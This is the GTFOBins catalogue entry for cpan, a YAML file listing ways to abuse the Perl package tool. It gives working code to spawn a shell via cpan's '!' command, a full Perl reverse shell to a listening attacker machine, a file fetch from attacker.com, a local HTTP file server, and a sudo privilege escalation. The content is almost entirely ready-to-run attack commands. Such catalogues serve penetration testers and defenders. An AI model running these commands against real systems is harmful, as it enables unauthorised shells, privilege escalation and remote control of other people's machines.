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GTFOBins.github.io/_gtfobins/cpan.md
2018-11-12 15:48:31 +01:00

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---
functions:
shell:
- description: |
`cpan` lets you execute perl commands with the `! command`.
code: |
cpan
! exec '/bin/bash'
reverse-shell:
- description: Run `nc -lvp RPORT` on the attacker box to receive the shell.
code: |
export RHOST=localhost
export RPORT=9000
cpan
! use Socket; my $i="$ENV{RHOST}"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};
file-upload:
- description: Serve files in the local folder running an HTTP server on port 8080. Install the dependency via `cpan HTTP::Server::Simple`.
code: |
cpan
! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
file-download:
- description: Fetch a remote file via an HTTP GET request and store it in `PWD`.
code: |
export URL=http://attacker.com/file_to_get
cpan
! use File::Fetch; my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch();
sudo:
- code: |
sudo cpan
! exec '/bin/bash'
---